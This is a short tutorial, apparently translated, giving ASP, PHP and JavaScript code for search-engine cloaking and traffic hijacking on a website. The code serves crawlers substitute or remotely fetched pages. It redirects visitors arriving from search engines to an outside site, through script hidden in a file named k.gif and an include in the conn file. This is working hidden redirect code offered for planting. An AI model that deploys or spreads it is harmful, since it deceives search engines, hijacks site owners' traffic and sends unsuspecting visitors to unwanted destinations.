First, it's simple, add the following code to the front page:
asp version
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
php version
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Then add the following code to the conn file according to the website's program, if you don't have a conn.asp or conn.php, create it yourself:
conn.asp edition
----------- the following reproduction--------------------------------
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
function fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= false
if urlrefer="" then fromse= false
searray=array("google","baidu","sogou","yahoo","soso","360")
for i=0 to ubound(searray)
if (instr(urlrefer,searray(i))>0) then fromse=true
next
end function
function gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
gethttp=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err. Clear
end function
function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End function
if(isspider()) then
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
response.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
response.end
end if
%>
conn.php
---------------- the following reproduction----------------
<?php
function is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = array('baiduspider','sogou spider','sosospider','iaskspider','naverrobot');
foreach ($identify AS $key => $tag){
if (strstr($user_agent, $tag)){
return true;
}
}
return false; }
function is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer as $url){
if (stristr($_SERVER['HTTP_REFERER'],$url)){
return true;
}
}
return false; }
if (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <meta name=\"Author\" content=\"Fill in the same as keywords\"> <meta name=\"Keywords\" content=\"Keywords\"> <meta name=
\"Description\" content=\"Description\"> </head> <body>Content</body></html>";
echo $html;
}
if (!is_search_bot() && is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>
Finally, in the images directory, upload a k.gif file k.gif the code:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Redirect URL
